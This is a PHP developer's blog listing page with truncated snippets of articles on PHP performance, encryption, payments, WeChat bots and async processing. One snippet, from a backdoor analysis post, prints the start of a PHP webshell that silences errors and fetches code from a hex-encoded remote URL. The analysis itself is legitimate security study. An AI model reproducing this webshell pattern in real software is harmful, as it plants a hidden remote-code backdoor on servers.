
php
橙虚缘
这个作者很懒,什么都没留下…
展开
-
php实现做号、遗漏(精简版)
开篇语:好久没写博客了,其中有项目是关于彩票的(彩票可以娱乐,这东西不能沉迷,计划软件仅仅是辅助,没有推荐算法是必中的,倍投风险很大,长久玩,赢只是过程,输是最终结果)做号:function combination($a, $m){ $r = array(); $n = count($a); if ($m <= 0 || $m > $n) ...原创 2018-12-24 17:06:02 · 886 阅读 · 0 评论 -
从m个数中选择n个数的实现
从m个数中选出n个数来 ( 0 那么组合的可能有:[18][8,10][-2,20][12,6][11,7][11,1,6][1,10,7][12,-2,8][12,1,-2,7][11,1,-2,8]解法一、<?php$nums = array(11,18,12,1,-2,20,8,10,7,6);for($i=0;$i<1024;$i++){转载 2017-11-08 21:59:10 · 4091 阅读 · 0 评论 -
四脚猫php视频下载 检测一个网页上的链接是否都可访问(练一练)
思路:1、 首先是采用curl的方式采集到这个网页的内容2、 用正则的方式或者html解析器把url分析出来3、 对于每一个url,进行请求,如果状态不是2xx、3xx等就定义为异常。打个小广告:四脚猫视频下载,四脚猫培训视频下载,四脚猫php视频下载,四脚猫php百度云视频下载,最新版下载与官网同步,请联系本人V43599939下载地址:=》四脚猫最新php视频下载地址<?phpclas...原创 2017-10-07 10:08:40 · 2395 阅读 · 2 评论 -
快速搞定微信小程序支付
一、实现步骤,理顺思路wx.requestPayment({ 'timeStamp': '', 'nonceStr': '', 'package': '', 'signType': 'MD5', 'paySign': '', 'success':function(res){ }, 'fail':function(res){ }})原创 2017-09-30 16:34:16 · 1290 阅读 · 0 评论 -
php实现切割合并文件
参考代码:<?php class Cm { public function cut() { $cut_m = 2; $i = 0; $fp = fopen("TC7.0.exe","rb"); ...原创 2017-07-27 21:07:39 · 3494 阅读 · 0 评论 -
PHP运行机制漫谈
PHP说简单,但是要精通也不是一件简单的事。我们除了会使用之外,还得知道它底层的工作原理。PHP是一种适用于web开发的动态语言。具体点说,就是一个用C语言实现包含大量组件的软件框架。更狭义点看,可以把它认为是一个强大的UI框架。了解PHP底层实现的目的是什么?动态语言要像用好首先得了解它,内存管理、框架模型值得我们借鉴,通过扩展开发实现更多更强大的功能,优化我们程序的性能。1. PHP的设计理念...转载 2017-07-24 16:05:27 · 1676 阅读 · 0 评论 -
一猥琐的PHP后门分析
Webshell代码如下:<?phperror_reporting(0);session_start();header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*...转载 2016-04-18 14:03:22 · 1190 阅读 · 0 评论 -
PHP开启opcache
PHP 5.5+版本以上的,可以使用PHP自带的opcache开启性能加速(默认是关闭的)。对于PHP 5.5以下版本的,需要使用APC加速,这里不说明,可以自行上网搜索PHP APC加速的方法。PHP开启opcache方法1、打开php.ini文件2、找到:[opcache]或者在文件最后加入,设置为://apache[opcache]; dll地址zend_exten转载 2013-12-13 10:30:58 · 2599 阅读 · 0 评论 -
php自定义函数call_user_func和call_user_func_array用法
call_user_func函数类似于一种特别的调用函数的方法,使用方法如下: function a($b,$c) { echo $b; echo $c; } call_user_func('a', "111","222"); call_user_func('a', "333","444"); //显示 111 222 333 444 调用类内部的方法比较奇怪,居然用的是转载 2015-08-26 17:43:02 · 3199 阅读 · 0 评论 -
PHP加密解密序列函数(URL加密解密、sha1加密解密、des加密解密)
普通hash函数如md5、sha1、base64等都是不可逆函数。虽然我们利用PHP可以利用这些函数写出可逆函数来。但是跨语言时这类可逆函数非常难搞定。所以这时尽量使用AES DES RC4 Rabbit TripleDes这些方法。包含超时的加密解密函数 /** * 加密 * @param string $string 要加密或解密转载 2014-01-09 14:12:37 · 8337 阅读 · 0 评论 -
PHP闭包 function() use()
php的闭包(Closure)也就是匿名函数。是PHP5.3引入的。闭包的语法很简单,需要注意的关键字就只有use,use意思是连接闭包和外界变量。123$a =function()use($b) { }闭包的几个作用:1 减少foreach的循环的代原创 2016-12-24 13:56:29 · 16163 阅读 · 3 评论 -
利用Thrift,实现java、php数据通讯
摘要: Thrift是一个软件框架(远程过程调用框架),用来进行可扩展且跨语言的服务的开发,封装了数据传输格式(二进制、json)和网络通信的服务框架,提供多语言(C++, Java, Python, PHP, Ruby, Erlang, Perl, Haskell, C#, Cocoa, JavaScript, Node.js, Smalltalk, and OCaml)的网络服务器端和客户端程转载 2017-06-20 10:38:03 · 3644 阅读 · 0 评论 -
window下开发php简单扩展
1、首先从www.php.net网站上下载php源码,此处以php-5.2.17版本为例,下载后解压至目录。2、下载安装VC++ 6.0,因为PHP源码是利用6.0版本写的,所以使用这个版本编译不会出现意外,别的版本未测试。3、把VC++ 6.0安装目录中的 Microsoft Visual Studio\Common\MSDev98\Bin 绝对路径添加到系统环境变量中。原创 2016-12-30 16:57:14 · 462 阅读 · 0 评论 -
php CGI FASTCGI CLI MODULE PHP-FPM
PHP运行模式有4钟:1)cgi 通用网关接口(Common Gateway Interface))2) fast-cgi 常驻 (long-live) 型的 CGI3) cli 命令行运行 (Command Line Interface)4)web模块模式 (apache等web服务器运行的模块模式)1. CGI(Common Gateway Interface) CGI...转载 2017-01-06 10:56:55 · 1704 阅读 · 0 评论 -
php异步处理繁重的业务,避免主业务被长时间阻塞
如何异步处理繁重的业务,避免主业务被长时间阻塞。例如我要给1000用户发送邮件,这个过程很慢,可能要阻塞数秒,这个过程中因为主流程被阻塞,会影响后续的请求,如何将这样的繁重任务交给其它进程异步处理。利用workerman处理,我之前的实现方式:php非阻塞访问url 解析socket阻塞与非阻塞,同步与异步 可以在本机或者其它服务器甚至服务器集群预先建立一些任务进程处理繁重的业原创 2016-12-26 15:59:56 · 2867 阅读 · 1 评论 -
基于workerman的实时推送,摒弃ajax轮询
先扯些这些内容:TCP/IP TCP/IP是个协议组,可分为三个层次:网络层、传输层和应用层。 在网络层有IP协议、ICMP协议、ARP协议、RARP协议和BOOTP协议。 在传输层中有TCP协议与UDP协议。 在应用层有:TCP包括FTP、HTTP、TELNET、SMTP等协议 UDP包括DNS、TFTP等协议 短连接 连接->传原创 2016-12-09 23:58:12 · 9805 阅读 · 0 评论 -
PHP中PSR-[0-4]规范
PHP是世界上最伟大的语言,这一点是毋庸置疑的吧。哈哈哈哈哈哈 。这个霸气的开头不错!(^__^)但是正是因为伟大,所以用的人也就多了,人一多,再牛逼再伟大的东西,都会产生问题,逐渐就造成了很多的分歧。每个人的习惯不一样,所以在一些PHP语法上的一些表现也是千差万别,比如这些问题:function 函数名是否驼峰命名, 花括号{}是否换行写, 是该写注释呢还是不写转载 2016-12-07 11:59:06 · 476 阅读 · 0 评论 -
使用mysql来实现lbs排序
目前基于LBS地理位置的搜索已经应用非常广了,的确是个很方便的东西。我们做程序的就是要考虑如何通过这些功能,来做出更符合用户的内容来。1,如何获取位置例如微信,可以通过发送地理位置来获取到当前用户的经纬度。查看在网页端,可以使用html5获取地理定位。查看2,数据表设计数据库中要预存自己的位置数据,如何获取数据请查看相关地图api。字段:十进转载 2017-10-24 18:11:38 · 845 阅读 · 1 评论 -
Linux下指定目录中最大的10个文件
$all_file = array();function get_max_file($dir) { $list = scandir($dir); foreach ( $list as $file ) { $file_location = $dir . '/' . $file; if ( is_dir($file_location) && $file原创 2017-10-18 17:45:38 · 684 阅读 · 0 评论 -
微擎模块机制分析
利用微擎开发些微信公众号还是非常方便的;模块机制分析主要从其安装、卸载、使用角度,一、安装安装界面,主要是module_get_all_unistalled获取未安装模块if ($do == 'not_installed') { if (empty($_W['isfounder'])) { itoast('非法访问!', referer(), 'info'); }原创 2017-10-18 17:51:06 · 5213 阅读 · 0 评论 -
php版des加密解密,真正可用,兼容java
网上搜一大堆,n多用不了,自己修改了下,对接javaclass SecretUtilTools { /** * 解密函数 * 算法:des * 加密模式:ecb * 补齐方法:PKCS5 * @param unknown_type $input */ public static f...原创 2018-05-07 15:33:51 · 6470 阅读 · 0 评论 -
php内核之内核利器哈希表与哈希碰撞攻击
在PHP的Zend Engine(下面简称ZE)中,有一个非常重要的数据结构——哈希表(HashTable)。哈希表在ZE中有非常广泛的应用,PHP的复杂数据结构中数组和类的存储和访问就是用哈希表来组织,PHP语言结构中的常量、变量、函数等符号表也是用它来组织。1. 哈希表的基本概念什么是哈希表呢?哈希表在数据结构中也叫散列表。是根据键名经过hash函数计算后,映射到表中的一个位置,来直接访问记录...转载 2018-04-21 17:37:14 · 373 阅读 · 0 评论 -
PHP内核之弱类型变量原理探究
PHP是一门简单而强大的语言,提供了很多Web适用的语言特性,其中就包括了变量弱类型,在弱类型机制下,你能够给一个变量赋任意类型的值。 PHP的执行是通过Zend Engine(下面简称ZE),ZE是使用C编写,在底层实现了一套弱类型机制。ZE的内存管理使用写时拷贝、引用计数等优化策略,减少再变量赋值时候的内存拷贝。下面不光带你探索PHP弱类型的原理,也会在写PHP扩展角度,介绍如转载 2018-04-21 17:34:00 · 392 阅读 · 0 评论 -
ucenter整合shopnc、tipask、dedecms 实现单点注册登录
1.ucenter介绍UCenter是Comsenz旗下各个产品之间信息直接传递的一个桥梁,通过UCenter 站长可以无缝整合Comsenz系列产品,实现用户的一站式登录以及社区其他数据的交互。当然可以整合任意程序,只要自己实现接入。http模式下,同步登陆流程如下:web1 用client.php中的uc_user_login()去ucenter验证登陆,完成后--原创 2018-05-09 12:09:20 · 1668 阅读 · 0 评论 -
tp5实现paypal支付
1.申请账号https://www.paypal.com,申请商家账号然后进入开发者网址https://developer.paypal.com2.使用sanbox测试2.1 查看账号情况 https://developer.paypal.com/developer/accounts/sanbox账号详情密码修改,点击对应email ->profile2.2创建app,获取clientId,...原创 2018-04-23 18:24:33 · 4793 阅读 · 6 评论 -
反转一个2G的字符串文本
一个2G的字符串存在文件中(字符串里面全是单字节字符),而内存只有100M,给出一个反转这个字符串的算法<?phpecho reverseFile('test.txt');function reverseFile($filename){ $fp=fopen($filename,'r+b'); $len=filesize($filename); $times=(...转载 2016-04-01 13:24:45 · 533 阅读 · 0 评论 -
异步请求之AsynchronousCall class
<?phpclass AsynchronousCall{ //用此函数进行调用 //func为 public static function Call($func,$post_data) { AsynchronousCall::init(); $baseURL = ""; $da...原创 2017-07-24 15:42:44 · 1810 阅读 · 0 评论 -
php+html5实现无刷新上传,大文件分片上传,断点续传
理清思路:引入了两个概念:块(block)和片(chunk)。每个块由一到多个片组成,而一个资源则由一到多个块组成块是服务端的永久数据存储单位,片则只在分片上传过程中作为临时存储的单位。服务端会以约一个月为单位周期性的清除上传后未被合并为块的数据片实现过程:将文件分割,分片上传,然后合并前端核心code:var fileForm = document.getElementById("file");...原创 2018-03-30 19:23:54 · 12191 阅读 · 1 评论 -
php下scws+sphinx+mysql打造千万级数据全文搜索
Sphinx是由俄罗斯人Andrew Aksyonoff开发的一个全文检索引擎。意图为其他应用提供高速、低空间占用、高结果 相关度的全文搜索功能。Sphinx可以非常容易的与SQL数据库和脚本语言集成。当前系统内置MySQL和PostgreSQL 数据库数据源的支持,也支持从标准输入读取特定格式 的XML数据。Sphinx创建索引的速度为:创建100万条记录的索引只需3~4分钟,创建1000万条记...转载 2018-03-20 17:05:52 · 734 阅读 · 0 评论 -
php+redis实现高并发下的抢购、秒杀功能
抢购、秒杀是如今很常见的一个应用场景,主要需要解决的问题有两个:1 高并发对数据库产生的压力2 竞争状态下如何解决库存的正确减少("超卖"问题)对于第一个问题,已经很容易想到用缓存来处理抢购,避免直接操作数据库,例如使用Redis。重点在于第二个问题常规写法:查询出对应商品的库存,看是否大于0,然后执行生成订单等操作,但是在判断库存是否大于0处,如果在高并发下就会有问题,导致库存量出现负数[php...转载 2017-11-07 19:52:34 · 1980 阅读 · 0 评论 -
PHP通过web协议实现微信扫码登录,收发消息,获取联系人,创建群,拉人,踢人等
1.前提网上很多web协议可参考,亲自实践,主要流程1.获取uuid用2.生成二维码地址3.扫描登录检测4.扫码回调设置cookie5.微信初始化6.开启微信通知获取联系人、心跳检查、信息获取等等注意事项:1、不同版本的有可能产生的请求地址不一样,从扫码回调接口获得,比如最新的版的请求wx.qq.com,旧版本的请求wx2.qq.com;2、网上看识别公众号个人通过ContactFlag识别,此方...原创 2018-03-12 18:26:10 · 2213 阅读 · 1 评论 -
app接口传输加密,AES+签名,php实现
一、说明数据在传输层加密,app端:生成签名,并且对数据对接加密,服务端:解密数据,校验签名通过抓包获取的效果http://127.0.0.1/test_server.php?sign_c=55d714ddd874ee29462f00e6c3173450&send_u_e=RKt80FF4BvBwOUk7HRxWvUlpuUNtg30HGIX3AFfNOqKTv3lacOUcImXPX原创 2018-01-23 15:07:24 · 2645 阅读 · 0 评论 -
windows下php定时执行,利用自己开发的软件
定时任务说明:定时运行任务对于一个网站来说,是一个比较重要的任务,比如定时清理缓存信息,定时备份数据库,定时执行开奖等,现在的网站大多数都是采用PHP动态语言开发的,而对于PHP的实现决定了它没有Java和.Net这种强类型语言的特点,PHP只能被用户触发,被调用,调用后会自动退出内存,没有常驻内存。解决方案:PHP去实现定时任务, 可以有以下几种解决方案:一、利用代码自身实现,i原创 2018-01-03 18:50:42 · 582 阅读 · 0 评论 -
多个ajax请求php后端导致反应时间慢解决方案
产生的原因var democ=new Vue({ el:'#list', data:{ her:'', listData:[], listurl:ALLURL+'/index.php/Wap/Read/indexlist' }, created:function(){ this.listDll() }, met原创 2017-12-18 15:05:32 · 4473 阅读 · 0 评论 -
ArrayAccess、trait新特性写接口
config.php<?phpnamespace app\src;use ArrayAccess;/** * Config * * @package * @author QQ43599939 * @copyright QQ43599939 * @version 2017 * @access public */class config implements Arr原创 2017-12-15 14:40:01 · 283 阅读 · 0 评论 -
微擎源码分析,主从配置
最近用微擎开发了几个基于微信公众号的项目,分析其主从配置实现方案首先配置/data/config.php<?phpdefined('IN_IA') or exit('Access Denied');$config = array();$config['db']['master']['host'] = '127.0.0.1';$config['db']['mast原创 2017-12-20 18:19:32 · 2595 阅读 · 2 评论 -
依赖注入
我们可以用一个简单的例子来说明依赖注入的概念。下面的代码中有一个 Database的类,它需要一个适配器来与数据库交互。我们在构造函数里实例化了适配器,从而产生了耦合。这会使测试变得很困难,而且 Database类和适配器耦合的很紧密。namespace Database;class Database{ protected $adapter; public fun转载 2016-12-03 17:04:50 · 762 阅读 · 0 评论 -
php中文之道-----语言亮点
编程范式PHP 是一个灵活的动态语言,支持多种编程技巧。这几年一直不断的发展,重要的里程碑包含 PHP 5.0 (2004) 增加了完善的面向对象模型,PHP 5.3 (2009) 增加了匿名函数与命名空间以及 PHP 5.4 (2012) 增加的 traits。面向对象编程PHP 拥有完整的面向对象编程的特性,包括类,抽象类,接口,继承,构造函数,克隆和异常等。原创 2016-12-03 16:54:53 · 402 阅读 · 0 评论 -
Composer之命令行
对于现代语言而言,包管理器基本上是标配。Java 有 Maven,Python 有 pip,Ruby 有 gem,Nodejs 有 npm。PHP 的则是 PEAR,不过 PEAR 坑不少:依赖处理容易出问题配置非常复杂难用的命令行接口好在我们有 Composer,PHP依赖管理的利器。它是开源的,使用起来也很简单,提交自己的包也很容易。安装 ComposerCom转载 2016-12-03 16:50:24 · 2275 阅读 · 0 评论 -
基于Snoopy的模拟登录
<?php$url = "http://test.xxxx.com/web/index.php?c=user&a=login&"; include("Snoopy.class.php"); $snoopy = new Snoopy;$snoopy->agent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101原创 2015-11-10 18:30:45 · 1385 阅读 · 0 评论